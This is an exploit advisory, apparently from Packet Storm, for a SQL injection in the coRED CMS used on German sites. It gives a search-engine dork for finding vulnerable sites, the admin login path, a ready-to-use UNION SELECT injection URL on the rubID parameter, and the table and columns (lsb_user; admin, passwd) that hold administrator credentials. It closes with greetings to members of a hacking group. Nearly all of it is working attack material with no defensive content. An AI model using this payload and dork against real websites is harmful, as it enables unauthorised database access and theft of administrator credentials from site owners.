coRED CMS SQL Injection

2011-02-27T00:00:00
ID PACKETSTORM:98769
Type packetstorm
Reporter baltazar
Modified 2011-02-27T00:00:00

Description

                                        
                                            `# Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>  
# CMS name : cows online Redaktionssystem  
# Dork : inurl:/cored/ site:de  
# Admin panel : http://www.site.de/coRED/_admin/login.php  
# Column number : 18 (also found different number of columns)  
# http://www.site.de/coRED/content/rubric/index.php?rubID=91+and+1=2+union+all+select+,0,1,2,BALTAZAR,4,5,6,7,8,9,10,11,12,13,14,15,16,17--  
# Table : lsb_user  
# Columns : admin, passwd  
  
# greetz for d3hydr8, rsauron, low1z, qk, marezzi, StRoNiX, t0r3x and all members of ex darkc0de.com and ljuska.rg  
# !!! Special greetz for my friend sinner_01 !!!  
  
  
  
  
  
  
  
  
  
  
  
  
`